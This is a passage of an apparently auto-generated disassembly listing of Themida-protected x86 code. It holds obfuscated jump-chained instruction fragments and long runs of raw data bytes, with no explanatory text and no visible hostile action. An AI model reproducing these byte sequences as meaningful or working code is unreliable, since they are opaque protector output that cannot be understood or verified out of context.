		dd 4, 0FF394CE9h, 0E9028FFFh, 0FFFF2391h, 875FFA01h, 30E92414h
		db 0Bh,	2 dup(0)
; ---------------------------------------------------------------------------


loc_64321F:				; CODE XREF: Themida_:006442A4j
		mov	dl, bl
		pop	ebx
		not	dl
		jmp	loc_645FBC
; ---------------------------------------------------------------------------
		db 0FFh, 34h, 24h
		dd 8B2434FFh, 0C4812404h, 4, 0FF8F10E9h, 4C683FFh, 0FFC4F5E9h
		dd 0E92AB5FFh, 0FFFFB3E8h, 2434FF5Eh, 51243C8Bh, 0C181E189h
		dd 4, 3304C183h, 9AE9240Ch, 0BA000004h,	3Ch, 1448C281h
		dd 0FA010D17h, 1448EA81h, 53680D17h, 8900001Bh,	6852240Ch
		dd 48C04E42h, 89BD555Ah, 0F7602C18h, 14F755D5h,	242C8B24h
		dd 0E9E18951h, 76ACh
; ---------------------------------------------------------------------------


loc_6432A0:				; CODE XREF: Themida_:0063A494j
		sub	edi, 0BC571B2h
		pop	ecx
		push	78F5h
		mov	[esp], ebx
		mov	ebx, 3D3B70DAh
		jmp	loc_64273D
; ---------------------------------------------------------------------------
		db 89h,	1Ch, 24h
		dd 0B551DBB7h, 80D5F62Dh, 0F5807CCDh, 59EF3068h, 0FF2E6DE9h
		dd 0F6CF81FFh, 4F3D551Eh, 5E9D7F7h
		db 33h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_6432DF:				; CODE XREF: Themida_:0063CBB9j
		sub	esp, 4
		mov	[esp], ebx
		neg	dword ptr [esp]
		pop	ebx
		or	ebx, 5F304801h
		xor	ebx, 0C9E760Bh
		xor	ebx, 0F3028AE3h
		mov	ebp, ebx
		mov	ebx, [esp]
		add	esp, 4
		xor	ebx, ebp
		pop	ebp
		push	edi
		mov	edi, ebx
		mov	ebp, edi
		pop	edi
		pop	ebx
		sub	ebp, 145E0FCBh
		sub	eax, ebp
		pop	ebp
		jmp	loc_637FB7
; ---------------------------------------------------------------------------
		db 0BBh, 7Bh, 30h
		dd 0DBF76D63h, 0C107E3C1h, 0E38103E3h, 8413C74h, 0CBE5650h
		dd 8972915Bh, 0E0C15EF0h, 5960D06h, 0FE352718h,	0E9EF9CE2h
		dd 0FFFF7052h, 0E92434FFh, 0FFFFACCBh, 4C281h, 0E9570000h
		dd 0FFFF859Dh, 17ADBF57h, 0FA316210h, 8BD3015Fh, 89522414h
		dd 0BBE2E9E2h, 0D029FFFFh, 0FF65EBE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_643381:				; CODE XREF: Themida_:00638CEEj
		pop	ebx
		push	287Dh
		mov	[esp], ebp
		mov	ebp, 4
		add	ebx, 515821A5h
		jmp	loc_635F76
; ---------------------------------------------------------------------------


loc_64339A:				; CODE XREF: Themida_:006468D3j
		add	ebx, esi
		pop	esi
		sub	ebx, 433E0C9Eh
		add	ebx, eax
		add	ebx, 433E0C9Eh
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		jmp	loc_6477D1
; ---------------------------------------------------------------------------
		db 83h,	0C6h, 4
		dd 0E904EC83h, 0FFFF72BFh, 76B9E981h, 0B0E9015Dh, 8B00000Bh
		dd 8957242Ch, 0DCEEE9E7h, 0E955FFFFh, 2820h
; ---------------------------------------------------------------------------


loc_6433E0:				; CODE XREF: Themida_:0063A0EFj
		mov	[esp], ebp
		mov	ebp, 277F405Bh
		neg	ebp
		push	edi
		mov	edi, 52F307AFh
		and	edi, 2E7B3A5Ah
		inc	edi
		or	edi, 368D70C8h
		push	ebp
		mov	ebp, 0BBAD6385h
		sub	edi, ebp
		mov	ebp, [esp]
		add	esp, 4
		xor	ebp, edi
		pop	edi
		push	ebp
		push	edi
		jmp	loc_63FC76
; ---------------------------------------------------------------------------
		dd 0FF2188E9h, 0BFF381FFh, 81346471h, 437FD2CBh, 54EB8116h
		dd 81634821h, 1B5EAAF3h, 6986E9F3h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_64343A:				; CODE XREF: Themida_:0063B01Cj
		mov	[esp], edx
		push	edi
		mov	edi, 3C292F96h
		add	[esp+4], edi
		jmp	loc_6398E9
; ---------------------------------------------------------------------------


loc_64344C:				; CODE XREF: Themida_:0063750Cj
		shl	ch, 6
		jmp	loc_638537
; ---------------------------------------------------------------------------


loc_643454:				; CODE XREF: Themida_:006498A0j
		push	esi
		mov	esi, 96971F4Fh
		add	eax, esi
		mov	esi, [esp]
		add	esp, 4
		jmp	loc_641B56
; ---------------------------------------------------------------------------


loc_64346A:				; CODE XREF: Themida_:006426FFj
		xor	[esp], edi
		xor	edi, [esp]
		pop	esp
		mov	[esp], edx
		push	dword ptr [esp]
		pop	eax
		push	ebp
		mov	ebp, esp
		jmp	loc_648A03
; ---------------------------------------------------------------------------
		dd 4EC8155h, 0E9000000h, 0FFFFDB36h, 5967F781h,	50E97266h
		dd 5EFFFFA5h, 0FF49AAE9h, 1F23BEFFh, 0B8501D10h, 548F50C3h
		dd 0D8F7D0F7h, 0FF2F93E9h, 2E4068FFh, 4890000h,	2DCAE924h
		dd 0E5B90000h, 0BD02815Eh, 701A3657h, 52E9CD31h, 59FFFF40h
		dd 88F08850h, 148B58C5h, 4C48124h, 88000000h, 240C8BEEh
		dd 0E9E18951h, 789h, 8B2434FFh,	0C483240Ch, 630DE904h
		dd 0C4810000h, 4, 0A2ACE953h, 0C688FFFFh, 0ABE2E958h, 0E950FFFFh
		dd 0FFFF828Bh, 2E90BA52h, 0CA8174C8h, 728409F2h, 543EE9h
		dd 24048700h, 0FF24248Bh, 0C8B2434h, 4C48324h, 2C51E9h
		dd 2C77FF00h, 0FF2064E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_643541:				; CODE XREF: Themida_:006399C5j
		shr	dl, 5
		add	dl, 0C8h
		jmp	loc_649C21
; ---------------------------------------------------------------------------


loc_64354C:				; CODE XREF: Themida_:00636791j
		sub	dword ptr [esp], 44FC355Ch
		pop	ebx
		add	ebx, 44FC355Ch
		pop	esi
		pop	edx
		push	ebp
		mov	ebp, 2D13091Fh
		jmp	loc_63E6E3
; ---------------------------------------------------------------------------


loc_643567:				; CODE XREF: Themida_:0063A09Aj
		add	ebp, edx
		sub	ebp, 58F15323h
		jmp	loc_63819F
; ---------------------------------------------------------------------------
		dd 335AD129h, 0C31240Ch, 240C3324h, 242C895Ch, 0FFBCE6E9h
		dd 651EBFFFh, 0CF817512h, 562F4D6Bh, 9285C781h,	0C18188C0h
		dd 57582576h, 0E981F901h, 57582576h, 4EC815Fh, 89000000h
		dd 80E9242Ch
		db 0CEh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_6435B7:				; CODE XREF: Themida_:0063DB80j
		push	ebp
		push	esp
		pop	ebp
		add	ebp, 4
		sub	ebp, 4
		xchg	ebp, [esp]
		jmp	loc_649BA8
; ---------------------------------------------------------------------------
		dw 478Fh
		dd 1FCFE940h, 6855FFFFh, 7518h,	0FFD2D8E9h, 342DADFFh
		dd 1548374h, 0F3E0E9D8h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_6435EE:				; CODE XREF: Themida_:006413CFj
		push	ebx
		jmp	loc_638CED
; ---------------------------------------------------------------------------
		dd 8904C483h, 0A2E95AD6h
		db 69h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_6435FF:				; CODE XREF: Themida_:0063B368j
		mov	[esp], ebx
		push	esp
		mov	ebx, [esp]
		jmp	loc_63E18D
; ---------------------------------------------------------------------------
aQs2		db 'Q',7,'2',0
		dd 24348700h, 251EE9h, 6EFC100h, 4950CF81h, 0D0E91089h
		db 0AEh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_643627:				; CODE XREF: Themida_:00649D1Aj
		pop	ecx
		add	esp, 4
		xor	edi, ecx
		pop	ecx
		jmp	loc_63F9E9
; ---------------------------------------------------------------------------
		dw 0DFF6h
		dd 0EF80DFF6h, 8BF828CEh, 8CE9241Ch
		db 56h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_643647:				; CODE XREF: Themida_:00649D9Aj
		add	dl, 0ECh
		add	dl, ah
		jmp	loc_646960
; ---------------------------------------------------------------------------
		db 68h,	99h, 22h
		dd 34890000h, 81E68924h, 4C6h, 4C68300h, 8B243487h, 34FF2424h
		dd 24048B24h, 0FF3033E9h, 2434FFFFh, 81240C8Bh,	4C4h, 5112E900h
		dd 815FFFFFh, 4C6h, 24348700h, 6824248Bh, 7E5Dh, 0BF243C89h
		dd 6F5575E9h, 8103E7C1h, 5450BCC7h, 5FFA0185h, 0EA25E957h
		dd 515EFFFFh, 0DC5F77B9h, 55D1E92Ah
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_6436BE:				; CODE XREF: Themida_:0064A7E7j
		pop	ecx
		add	eax, ecx
		jmp	loc_643F70
; ---------------------------------------------------------------------------


loc_6436C6:				; CODE XREF: Themida_:00649D04j
		sub	esp, 4
		jmp	loc_635D97
; ---------------------------------------------------------------------------


loc_6436D1:				; CODE XREF: Themida_:0063C2FCj
		add	eax, edx
		sub	eax, 260D5E8Dh
		mov	edx, [esp]
		add	esp, 4
		sub	eax, 1
		add	eax, 0FE6F26ACh
		sub	edi, eax
		jmp	loc_6420D1
; ---------------------------------------------------------------------------


loc_6436ED:				; CODE XREF: Themida_:00635ADCj
		pop	ecx
		mov	ecx, ebx
		pop	ebx
		mov	ebp, 0A473D732h
		add	ebp, ecx
		pop	ecx
		sub	esp, 4
		jmp	loc_63D5CC
; ---------------------------------------------------------------------------
		db 31h,	0Ch, 24h
		dd 5C240C33h, 8104C483h, 4C7h, 0EC835500h, 24348904h, 29675DBEh
		dd 7751E912h, 0E289FFFFh, 4C281h, 0EA830000h, 24148704h
		dd 8924248Bh, 0FB68242Ch, 8B671B77h, 5453242Ch,	4C3815Bh
		dd 0E9000000h, 0FFFF239Fh, 8704EF83h, 895C243Ch, 0DDBB241Ch
		dd 293C6C72h, 82685BD8h, 8900000Eh, 29E92434h, 81FFFFD9h
		dd 4C4h, 4C68100h, 83000000h, 348702C6h, 50665C24h, 0FF9025E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_643785:				; CODE XREF: Themida_:006398AFj
		push	eax
		jmp	loc_644F8C
; ---------------------------------------------------------------------------
		db 89h
		dd 8BCE89D9h, 0C483240Ch, 241C8B04h, 4C481h, 77090000h
		dd 24348B1Ch, 81E38953h, 4C3h, 69BBE900h, 0BE2DFFFFh, 0BE8DA012h
		dd 261245Fh, 55E9C631h,	2CFFFF5Dh, 0E9E82C89h, 2818h, 5C242C87h
		dd 0E92434FFh, 0FFFFA4C5h, 5358C701h, 4BBh, 5BDF0100h
		dd 5C243C87h, 0FF1DB8E9h, 0E9505EFFh, 0FFFF56CCh
; ---------------------------------------------------------------------------


loc_6437F4:				; CODE XREF: Themida_:0064545Aj
		sub	eax, 0C0072FA8h
		sub	ecx, eax
		mov	eax, [esp]
		add	esp, 4
		xor	ecx, 0F9D40F8h
		or	ecx, 309274F5h
		push	edi
		mov	edi, 0FB6F7Dh
		and	edi, 6EA62F44h
		add	edi, 3AF90C86h
		not	edi
		shr	edi, 3
		not	edi
		sub	edi, 80385565h
		jmp	loc_6431A9
; ---------------------------------------------------------------------------
		db 81h,	0EAh, 4
		dd 0E9000000h, 0FFFF8202h, 0DEE9535Ch, 100002Bh, 0B8505BDFh
		dd 238C1409h, 0D3019D0Dh, 0EA640551h, 0C7298C20h, 0E924048Bh
		dd 693Ch, 805AD108h, 0CF28E8F1h, 2CFE2C59h, 4F828B7h, 8BFE04B7h
		dd 0C483241Ch, 88250404h, 24048BC3h, 4C481h, 0D8300000h
		dd 0FB68515Bh, 89000043h, 87B42404h, 48BE588h
		db 24h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		shr	ch, 8
		push	ebx
		mov	bl, 0A1h
		sub	bl, 5Eh
		xor	ch, bl
		pop	ebx
		push	1C7Dh
		mov	[esp], edx
		mov	dl, 57h
		jmp	loc_63A295
; ---------------------------------------------------------------------------


loc_6438C4:				; CODE XREF: Themida_:00638C03j
		add	ebp, 4
		push	ebp
		push	dword ptr [esp+4]
		pop	ebp
		pop	dword ptr [esp]
		mov	esp, [esp]
		add	edx, 778A71ECh
		xor	edx, 0E4C3CD1Bh
		jmp	loc_64234A
; ---------------------------------------------------------------------------


loc_6438E7:				; CODE XREF: Themida_:006361CDj
		push	esp
		pop	edx
		add	edx, 4
		add	edx, 4
		xchg	edx, [esp]
		mov	esp, [esp]
		jmp	loc_63CF91
; ---------------------------------------------------------------------------
		dd 8704E983h, 6DE9240Ch, 66000029h, 84BA6652h, 0D031666Dh
		dd 24148B66h, 6602C483h, 0E92B7468h, 2DD7h, 0FF1C7CE9h
		dd 0C8B66FFh, 91F6824h,	14890000h, 0E9E28924h, 3599h, 50F8EA81h
		dd 0C2817F12h, 5B4046E6h, 0EA81F229h, 5B4046E6h, 50F8C281h
		dd 15E7F12h, 64C281EAh,	8B1E0A42h, 0C483242Ch, 24143304h
		dd 33241431h, 248B2414h, 2424D224h, 1C2BE99Ch, 1C87FFFFh
		dd 0EC835C24h, 241C8904h, 0A2C5E950h, 3BB8FFFFh, 0E905F21Fh
		dd 0FFFFD5EFh, 8F05C829h, 595CFE3Ah, 0E9241C8Bh, 0FFFFEDECh
; ---------------------------------------------------------------------------


loc_6439A4:				; CODE XREF: Themida_:0063FC80j
		xor	edx, 30AF1D42h
		xor	edx, 0C53BAF5Fh
		xor	ebx, edx
		pop	edx
		add	ebx, 0C7B3D21Eh
		mov	ebp, ebx
		pop	ebx
		sub	ecx, ebp
		mov	ebp, [esp]
		jmp	loc_63C87E
; ---------------------------------------------------------------------------
		dw 0B850h
		dd 351854DBh, 0AC25D0F7h, 0F776846Fh, 0B2B2E9D8h, 6866FFFFh
		dd 8966179Bh, 88532414h, 18868CFh, 0C890000h, 68FD8824h
		dd 1F88h, 88241C89h, 0E9FE88EFh, 0FFFF9E17h, 9EE99C50h
		dd 53FFFF1Bh, 52A7E9h, 0B8685A00h, 89000056h, 0E9BB241Ch
		dd 0E933CF74h, 398Fh
; ---------------------------------------------------------------------------


loc_643A20:				; CODE XREF: Themida_:00637AF8j
		xor	edi, [esp]
		xor	[esp], edi
		xor	edi, [esp]
		pop	esp
		idiv	cl
		movzx	cx, ah
		push	23C6h
		mov	[esp], esi
		push	esp
		mov	esi, [esp]
		add	esp, 4
		push	ebp
		mov	ebp, 10D4E0Bh
		push	ebx
		mov	ebx, 3483509h
		jmp	loc_646853
; ---------------------------------------------------------------------------


loc_643A53:				; CODE XREF: Themida_:006355E3j
		add	edx, 3703BE8Bh
		add	ebx, edx
		pop	edx
		sub	esp, 4
		jmp	loc_640E22
; ---------------------------------------------------------------------------
		db 1
		dd 6967E9C2h, 8951FFFFh, 4C181E1h, 57000000h, 0C7815F54h
		dd 4, 4EF81h, 3C870000h, 6CD2E924h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_643A8E:				; CODE XREF: Themida_:00646D12j
		push	esi
		push	94FF6E16h
		pop	esi
		add	eax, esi
		mov	esi, [esp]
		add	esp, 4
		sub	edi, eax
		mov	eax, [esp]
		add	esp, 4
		jmp	loc_63C020
; ---------------------------------------------------------------------------


loc_643AB0:				; CODE XREF: Themida_:0063A014j
		dec	ebp
		xor	ebp, 7E892A4Ch
		push	ebp
		dec	dword ptr [esp]
		pop	ebp
		jmp	loc_64094D
; ---------------------------------------------------------------------------
		db 0F7h, 0DBh, 0F7h
		dd 0EB8143DBh, 4FCF02FDh, 0F75BDF21h, 0C7814FD7h, 6EF34E8Eh
		dd 3D81E9h
		db 0
; ---------------------------------------------------------------------------


loc_643ADD:				; CODE XREF: Themida_:0063AF17j
		mov	esi, esp
		jmp	loc_64696F
; ---------------------------------------------------------------------------
		dd 1EABE954h, 1489FFFFh, 4EC8124h, 89000000h, 97BB241Ch
		dd 43445F6Dh, 0FF27EAE9h, 242489FFh, 4240483h, 4C5815Dh
		dd 81000000h, 4EDh, 242C8700h, 8924248Bh, 0D388241Ch, 65F3E951h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_643B26:				; CODE XREF: Themida_:0063F6BAj
		mov	ebp, 7E476FCCh
		sub	ebp, 17F36CF1h
		or	ebp, 4FCA2378h
		sub	ebp, 1
		and	ebp, 5C6A267Fh
		sub	ebp, 41B94558h
		push	ecx
		mov	ecx, 287E7EA9h
		jmp	loc_646E44
; ---------------------------------------------------------------------------
		dd 0E92434FFh, 5B36h
; ---------------------------------------------------------------------------


loc_643B5C:				; CODE XREF: Themida_:0064AC00j
		push	79EF7CCCh
		pop	esi
		shl	esi, 1
		sub	esi, 774F6733h
		dec	esi
		jmp	loc_63A023
; ---------------------------------------------------------------------------
		dd 7A68EF01h, 8900003Dh, 58BE2434h, 0E9303A37h,	5F1h, 24048B66h
		dd 7DD268h, 24048900h, 760E6850h, 24890000h, 24048124h
		dd 4, 4BD5558h,	1000000h, 0E8835DE8h, 24048704h, 0E924248Bh
		dd 4C0Fh, 4B9h,	244C0100h, 34FF5904h, 24348B24h, 8104C483h
		dd 4C4h, 4C68100h, 0E9000000h, 1388h, 0E95DEE89h, 0FFFF5D79h
		dd 4AB0F66h, 0B6E99C24h, 66FFFF19h, 68240C8Bh, 631Fh, 0E9241489h
		dd 0FFFFD6C5h, 65C3815Eh, 0E94AEEF3h, 0FFFFFC37h, 184A93BDh
		dd 28F58119h, 104F949h,	3F4BE9E9h, 0C4810000h, 4, 0FF6B04E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_643C29:				; CODE XREF: Themida_:00649576j
		push	esp
		jmp	loc_6484FB
; ---------------------------------------------------------------------------
		db 83h
		dd 66E904C4h, 89000008h, 7CE92434h, 53FFFFB9h, 0D9FB850h
		dd 63BB3DA5h, 0E9120955h, 0FFFFC0EBh
; ---------------------------------------------------------------------------


loc_643C50:				; CODE XREF: Themida_:0063C9DDj
		add	ebp, 4
		push	ebp
		push	dword ptr [esp+4]
		pop	ebp
		jmp	loc_646E6C
; ---------------------------------------------------------------------------
		db 81h,	0C6h, 3Bh
		dd 810BAA7Fh, 0F47160EEh, 5EF789A1h, 2D77E9h, 4C18100h
		dd 83000000h, 0FF5104C1h, 59042474h, 0FF1E3EE9h, 0E88359FFh
		dd 3C5E6804h, 4890000h,	2474FF24h, 48F5804h, 4895C24h
		dd 94BA5224h, 897D2D42h, 24148BD0h, 8104C483h, 421548EAh
		dd 0AEB85042h, 0D3CB518h, 61231676h, 4848D0F7h,	0BFB8A32Dh
		dd 0E9C2012Eh, 0FFFF9E6Dh, 0E959CD01h, 5A49h
; ---------------------------------------------------------------------------


loc_643CD8:				; CODE XREF: Themida_:00639F30j
		xor	ebp, [esp]
		xor	[esp], ebp
		jmp	loc_6383F5
; ---------------------------------------------------------------------------


loc_643CE3:				; CODE XREF: Themida_:006369E2j
		push	eax
		pop	ebp
		pop	eax
		jmp	loc_6453C2
; ---------------------------------------------------------------------------
		db 1
		dd 0D1D2DC8h, 0C8B3D91h, 689E924h, 34FF0000h, 0C4835824h
		dd 0E1895104h, 4C181h, 0C1810000h, 4, 5C240C87h, 0E9C0B60Fh
		dd 0FFFFAA32h, 68h, 24142900h, 38C9E95Ah
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_643D2A:				; CODE XREF: Themida_:00641B23j
		inc	eax
		sub	eax, 11CF7DF7h
		jmp	loc_63FFEE
; ---------------------------------------------------------------------------


loc_643D35:				; CODE XREF: Themida_:0064635Fj
		pop	ebx
		jmp	loc_644E12
; ---------------------------------------------------------------------------


loc_643D3B:				; CODE XREF: Themida_:00646B2Cj
		shr	edx, 1
		jmp	loc_642AA7
; ---------------------------------------------------------------------------
		dw 0C380h
		dd 8BD828A1h, 8DE9241Ch, 5CFFFF70h, 56240C8Bh, 45F3E9h
		db 0
; ---------------------------------------------------------------------------


loc_643D59:				; CODE XREF: Themida_:0063887Aj
		add	ebp, 3C7F4F4h
		add	esi, ebp
		pop	ebp
		jmp	loc_635E90
; ---------------------------------------------------------------------------
		db 81h
		dd 4C2h, 4EC8100h, 89000000h, 2B9240Ch,	50000000h, 5569CCB8h
		dd 33C52D43h, 0DCE9CCDDh, 5AFFFFFCh, 0E904C483h, 0FFFF7907h
; ---------------------------------------------------------------------------


loc_643D94:				; CODE XREF: Themida_:0064948Aj
		add	edx, 762F2E9Ch
		pop	eax
		push	eax
		push	edx
		add	dword ptr [esp], 22B7109Bh
		pop	eax
		sub	eax, 22B7109Bh
		mov	ebx, eax
		pop	eax
		pop	edx
		and	eax, ebx
		jmp	loc_63D63F
; ---------------------------------------------------------------------------
		db 87h,	4, 24h
		dd 243C895Ch, 243C8B54h, 0E9E68956h, 0FFFF282Bh, 104C483h
		dd 0C3DFE9D8h, 0F680FFFFh, 0C7C680D3h, 5FE9F120h
		db 0A0h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_643DDF:				; CODE XREF: Themida_:0063C01Bj
		push	ebp
		mov	ebp, 0FEDC2F7Ah
		add	ebx, ebp
		jmp	loc_647B81
; ---------------------------------------------------------------------------
		dd 4EC8353h, 52243C89h,	81243C8Bh, 4C4h, 0E9FB8900h, 46CDh
		dd 52CE68h, 24348900h, 0E2895256h, 4C281h, 0EA810000h
		dd 4, 8B241487h, 8F542424h, 4832404h, 31E90424h, 1FFFFCBh
		dd 0BEA81CAh, 81620F5Ch, 4A0A4EEAh, 7EA8167h, 0E9767836h
		dd 0FFFFB9FFh
; ---------------------------------------------------------------------------


loc_643E48:				; CODE XREF: Themida_:00636D9Bj
		pop	ecx
		sub	[esp+4], ebx
		add	dword ptr [esp+4], 48945F70h
		push	ebp
		mov	ebp, 0B922CFBh
		jmp	loc_646C0C
; ---------------------------------------------------------------------------
		dd 0FF1740E9h, 240C89FFh, 0F34FA2B9h, 8379E937h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_643E72:				; CODE XREF: Themida_:00636D67j
		pop	esi
		jmp	loc_635C32
; ---------------------------------------------------------------------------
		dd 0B7241C89h, 668FE971h, 875EFFFFh, 248B243Ch,	0C8B70F24h
		dd 7FB968h, 240C8900h, 0FF170CE9h, 243C87FFh, 5D37E95Ch
		dd 0ED810000h, 5C07C92h, 464FBA52h, 0E2813C12h,	25A567BBh
		dd 4061CA81h, 0DAF77F9Fh, 5508E2C1h, 0FF5E94E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_643EC5:				; CODE XREF: Themida_:0063AE6Ej
		pop	edi
		sub	ecx, 0DB56BFDBh
		and	eax, ecx
		jmp	loc_63C9E2
; ---------------------------------------------------------------------------
		db 0B8h
		dd 3709201Ch, 48BC329h,	6599E924h, 0BEE90000h, 29FFFF16h
		dd 0EC8159CAh, 4, 50243C89h, 453AE068h,	73E95855h, 66FFFFBEh
		dd 24E9028Fh, 68000067h, 5FC4h,	81240C89h, 4ECh, 242C8900h
		dd 0FF2925E9h, 5FFD09FFh, 0FF6B29E9h, 2434FFFFh, 359E6859h
		dd 3C890000h, 81E78924h, 4C7h, 1ED6E900h, 525BFFFFh, 4BAh
		dd 54FDE900h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_643F4A:				; CODE XREF: Themida_:00643F90j
		sub	ebx, 7EB616D3h
		xor	ebx, 8D047E15h
		mov	eax, ebx
		pop	ebx
		sub	esi, 78C479EDh
		add	esi, eax
		add	esi, 78C479EDh
		pop	eax
		xor	esi, [esp]
		jmp	loc_63F729
; ---------------------------------------------------------------------------


loc_643F70:				; CODE XREF: Themida_:006436C1j
		sub	eax, 687341A3h
		add	eax, 2B6F0579h
		jmp	loc_63F190
; ---------------------------------------------------------------------------
		db 1
aYh		db 'Yh',9,0Ah,0
		dw 0E900h
		dd 6B27h
; ---------------------------------------------------------------------------


loc_643F8C:				; CODE XREF: Themida_:006366A3j
		pop	esi
		sub	ebx, ecx
		pop	ecx
		jmp	loc_643F4A
; ---------------------------------------------------------------------------
		db 89h,	0FBh, 0E9h
		dd 0FFFFA597h
; ---------------------------------------------------------------------------


loc_643F9C:				; CODE XREF: Themida_:00641FACj
		shl	esi, 6
		jmp	loc_63B29B
; ---------------------------------------------------------------------------


loc_643FA4:				; CODE XREF: Themida_:0063C644j
		add	esp, 4
		pop	edi
		jmp	loc_639578
; ---------------------------------------------------------------------------


loc_643FAD:				; CODE XREF: Themida_:006441CEj
		mov	ebp, 663F3131h
		not	ebp
		jmp	loc_63583D
; ---------------------------------------------------------------------------


loc_643FB9:				; CODE XREF: Themida_:00646775j
		xchg	ch, [esp]
		mov	dx, [esp]
		add	esp, 2
		not	dl
		push	eax
		push	edx
		push	78F4h
		mov	[esp], ebx
		mov	bl, 0D4h
		mov	dh, bl
		jmp	loc_649BA0
; ---------------------------------------------------------------------------
		db 66h
		dd 83240C8Bh, 348904ECh, 68E68924h, 25B4h, 0E9241C89h
		dd 0FFFFB960h, 32160D59h, 390550CFh, 292C562Eh,	34FF58C1h
		dd 0E4685D24h, 89000000h, 0E589242Ch, 4C581h, 0C5810000h
		dd 4, 0E9242C87h, 64B0h, 0E8889FB5h, 4CA3459h, 0BCACE901h
		dd 0EB80FFFFh, 0C0B60FB3h, 0E987048Dh, 0FFFF717Dh
; ---------------------------------------------------------------------------


loc_644040:				; CODE XREF: Themida_:00644566j
		push	esi
		mov	esi, 4
		add	edx, esi
		jmp	loc_63BD19
; ---------------------------------------------------------------------------


loc_64404D:				; CODE XREF: Themida_:00642932j
		mov	eax, [esp]
		add	esp, 4
		pop	esi
		push	ebp
		mov	ebp, 77BB67F1h
		jmp	loc_63F80F
; ---------------------------------------------------------------------------
		db 8Fh
		dd 4812404h, 424h, 2434FF00h, 4C4835Ah,	4C281h,	0B8500000h
		dd 2AE000E7h, 6C49BA52h, 0F2815BFFh, 19374F4Ah,	8102E2C1h
		dd 0AD07ECCAh, 0D28EE946h, 525EFFFFh, 24148B54h, 4C481h
		dd 53560000h, 327262BBh, 5BDE8902h, 0C681D6F7h,	2327267h
		dd 0FF8A73E9h, 0BB535DFFh, 58043D0Ah, 0A6E9D829h, 66FFFFAAh
		dd 2D66D001h, 5A663AF6h, 83D00166h, 348904ECh, 5DBE6624h
		dd 0CE816626h, 81660340h, 66B6D5EEh, 665EF029h,	0FF453705h
		dd 148B2434h, 4C48124h,	83000000h, 556604C4h, 0ED968h
		dd 24048900h, 488568h, 24348900h, 0C6ABE66h, 0BF665766h
		dd 166FD1Ch, 665F66FEh,	348BF089h, 4C48124h, 66000000h
		dd 0E97C1135h, 0FFFFF7D7h, 53595A59h, 3BCDB951h, 0D8E97C95h
		dd 53000048h, 0C7FECAB7h, 0FEF0C780h, 80CFFECFh, 0F80058EFh
		dd 4DB2C5Bh, 0B1ACE9F3h, 0D921FFFFh, 81241C8Bh,	4C4h, 25A1E900h
		dd 0D0000000h, 6378E9h,	0B9E68100h, 8175C11Fh, 952CCDEEh
		dd 0FFEE8309h, 0F80CF681h, 0C78110E2h, 4C472A45h, 0EF81F729h
		dd 4C472A45h, 0FFF004E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_64419D:				; CODE XREF: Themida_:00646D93j
		pop	edx
		add	al, bl
		jmp	loc_6458CC
; ---------------------------------------------------------------------------
		db 83h,	0C4h, 4
		dd 5324148Bh, 0C381E389h, 4, 8704C383h,	72E9241Ch
		db 2Ch,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_6441BF:				; CODE XREF: Themida_:0063B14Bj
		mov	eax, esp
		add	eax, 4
		jmp	loc_648BD2
; ---------------------------------------------------------------------------


loc_6441CB:				; CODE XREF: Themida_:0063E2D6j
		mov	[esp], ebp
		jmp	loc_643FAD
; ---------------------------------------------------------------------------
		db 56h
		dd 4BEh, 5EF10100h, 5C240C87h, 6D9B68h,	24348900h, 8019A0BEh
		dd 37E95073h, 8BFFFF32h, 0C483240Ch, 8CE95004h
		db 0A1h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_6441FF:				; CODE XREF: Themida_:00647C88j
		push	dword ptr [esp+4]
		pop	eax
		pop	dword ptr [esp]
		pop	esp
		mov	[esp], ebx
		jmp	loc_64ABD8
; ---------------------------------------------------------------------------
		dd 26AB68h, 413DE900h, 0BA52FFFFh, 38240C9Fh, 242C8152h
		dd 383428B2h, 0B2C3815Bh, 5A383428h, 5B79C381h,	0EB01058Dh
		dd 5B79EB81h, 815D058Dh, 790B13C3h, 47A72D1Fh, 0D80165DCh
		dd 0DC47A705h, 0A3E95B65h, 1FFFF8Dh, 2148E9CDh,	4BAFFFFh
		dd 1000000h, 9FE95AD5h,	89FFFF62h, 6EB22414h, 8007EAC0h
		dd 0DAF68CE2h, 0E964EA80h, 0FFFF34C4h, 2DD0F75Dh, 0AD12B078h
		dd 8158C609h, 0FFD3B9EEh, 0E9F029DFh, 0FFFF2E43h, 242C8766h
		dd 0FF1304E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_6442A1:				; CODE XREF: Themida_:00648381j
		push	ebx
		mov	bl, 76h
		jmp	loc_64321F
; ---------------------------------------------------------------------------


loc_6442A9:				; CODE XREF: Themida_:00639C47j
		neg	edx
		push	esi
		push	0FFFFFFFFh
		mov	esi, [esp]
		add	esp, 4
		sub	edx, 3B852D7Eh
		jmp	loc_6407E9
; ---------------------------------------------------------------------------
		dw 0DE89h
		dd 8B2434FFh, 0E951241Ch, 13F4h, 0D2F7925Ah, 0F4D8E992h
		dd 0CD80FFFFh, 6BC5807Bh, 530BC580h, 0DD28FFB3h, 0B450535Bh
		dd 3B24E928h, 0BB53FFFFh, 4, 1801B850h,	0C7016A9Bh, 0E6C78158h
		dd 14EFE2Ah, 0E6BD55DFh, 294EFE2Ah, 0EC835DEFh,	24348904h
